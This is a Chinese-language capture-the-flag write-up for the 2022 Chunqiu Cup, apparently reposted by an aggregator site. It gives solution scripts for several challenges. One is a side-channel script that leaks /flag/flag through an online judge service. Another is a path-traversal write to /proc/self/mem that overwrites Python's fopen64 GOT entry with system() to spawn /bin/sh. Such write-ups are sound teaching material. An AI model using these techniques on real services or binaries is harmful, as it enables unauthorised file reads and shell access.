WP2022 春秋杯 Write Up
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WP2022 春秋杯 Write Up相关的知识,希望对你有一定的参考价值。
【WP】2022春秋杯
前言
本次春秋杯是个人赛,打的很捞,但是有许多有趣的题目,学到了一些新东西
最终是解了4+1的题目,一个问卷就不算了。最终排位23。
Pwn
online_judge
虽然叫作pwn,但是我感觉是web。。
使用侧信道攻击,因为oj的测试用例只有一个3,所以可以用这个3来进行碰撞,脚本如下:
import requests, time
host, port = "47.104.129.38", 10101
base_url = f"http://host:port"
token_url = f"base_url/getToken"
judge_url = f"base_url/judge"
def getToken():
result = requests.post(token_url).json()
# print(result)
assert not result["error"], "System error"
return result["data"]["token"]
def judge(chall: str, src: str, language: str = "C"):
data =
"src": src,
"language": language,
"action": chall,
"token": token,
result = requests.post(judge_url, json=data).json()
# print(result)
time.sleep(0.5)
return result['data'] == 'SUCCESS'
token = getToken()
print(token)
flag = 'flag7199758b1ad44d49990635e25b204eaa'
for i in range(len(flag), 100):
for j in range(32,127):
py_src = f'''flag = open("/flag/flag").read()\\nprint(ord(flag[i])-j+3)'''
print(f"cur --> chr(j)")
if judge('test', py_src, 'PYTHON'):
flag += chr(j)
print(f"flag --> flag")
break
print(flag)
访问太多次会报错,所以分段进行爆破
Reverse
easy_python
30s看完字节码,就是右移5位或上左移三位
# flag[i] = flag[i] >> 5 | flag[i] << 3
from ctypes import c_uint8
data = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39, 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]
flag = ""
for i in range(len(data)):
flag += chr(c_uint8((data[i] >> 5) | (data[i] << 3)).value)
print(flag)
赛后看别人的wp,直接找ChatGPT写的,2s出答案。。
godeep
第一天来看的时候不是很想逆,甚至不想动调。
第二天看很多人做出来,也去尝试了一下。
非常明显的二叉树结构,通过搜索字符串找到right的位置,然后一层一层交叉引用上去,找到起点。
但是手动交叉引用太慢了,所以写了一个ida python的脚本
这个288是试出来的,通过修改函数名称一个一个试出来的
谁是0谁是1也是试出来的,谁乱码了就不是谁
import idc
import idautils
import ida_name
addr = 0x50AF00
flag = ""
for i in range(288):
try:
re_addr = idautils.CodeRefsTo(addr, True).__next__()
print(f"re --> re_addr:#x")
next_head = idc.next_head(re_addr)
print(f"next_head --> next_head:#x")
opcode = idc.print_insn_mnem(next_head)
print(f"opcode --> opcode")
if str(opcode) != "jmp":
flag += "0"
else:
flag += "1"
addr = idc.get_func_attr(re_addr, idc.FUNCATTR_START)
# ida_name.set_name(addr, f"starti")
print(f"starti --> addr:#x")
except Exception as e:
print(e)
break
print(flag)
print(len(flag))
def bin2ascii(input, length=8):
return "".join(
[
chr(int(c, base=2))
for c in [input[i : i + length] for i in range(0, len(input), length)]
]
)
print(bin2ascii(flag[::-1]))
Misc
reindeer game
看我一命通关!
楠之勇者传(赛后复现)
赛后复现的,也没有打比赛靶机,不过个人感觉是可以穿的。
比赛的过程中在没有给hint2的时候就想到了打/proc/self/mem
,但是当时懒得去调试docker。复现的时候发现其实非常的简单。。。
在获取魔法法杖之后,可以使用base64写文件,这个时候可以使用../../proc/self/mem
去绕过/tmp/
前缀。
写/proc/self/mem
改fopen64
的got表为system
的plt地址,使用给的f.seek()
去指向got表
下面是复现的过程:
首先先去docker搞一个ubuntu18.04的容器,然后apt install python3
把/usr/bin/python3.6
下载到本地,使用pwntools分析got和plt,获取地址
from pwn import *
elf = ELF("./python3.6")
print(hex(elf.plt["system"])) # 0x41f4e0
print(hex(elf.got['fopen64'])) # 0x9b4c78
同时使用checksec查看python3.6这个文件,发现是没有开启PIE的,所以直接覆盖got表就行了
我们同时可以在docker容器里,使用python运行如下脚本来看/proc/self/maps
,这个文件用来记录当前跑起来的文件的内存映射
f = open("/proc/self/maps", "r")
print(f.read())
f.close()
可以看到确实是从0x400000开始的
所以我们的目的就是让0x9b4c78
这个fopen64的got表的地址指向0x41f4e0
这个system的plt地址,这样使用open(),就是执行了system()
用如下脚本来进行复现
import base64
f = open("/proc/self/mem", "wb")
f.seek(int(input(), 16), 0) # 读入0x9b4c78 fopen64的got
f.write(base64.b64decode(input())) # 写入0x41f4e0 system的plt
f.close()
x = input("open what\\n")
f = open(x)
f.close()
第一个位置输入0x9b4c78
让其seek到fopen64的got表
第二个位置输入的是base64.b64encode(p64(elf.plt["system"])*100)
的结果,也就是覆盖成system的plt地址,这里写入100个是因为我写一个又不成功的情况,写入100个成功的概率非常大,具体我也不是很懂
第三个地方就是执行open(),我们直接输入/bin/sh
,这样实际执行的就是system("/bin/sh")
最终getshell
以上是关于WP2022 春秋杯 Write Up的主要内容,如果未能解决你的问题,请参考以下文章
2021年第七届“美亚杯”电子数据取证个人赛Write up
[ctf wiki pwn] stackoverflow: 2016-360春秋杯 srop wp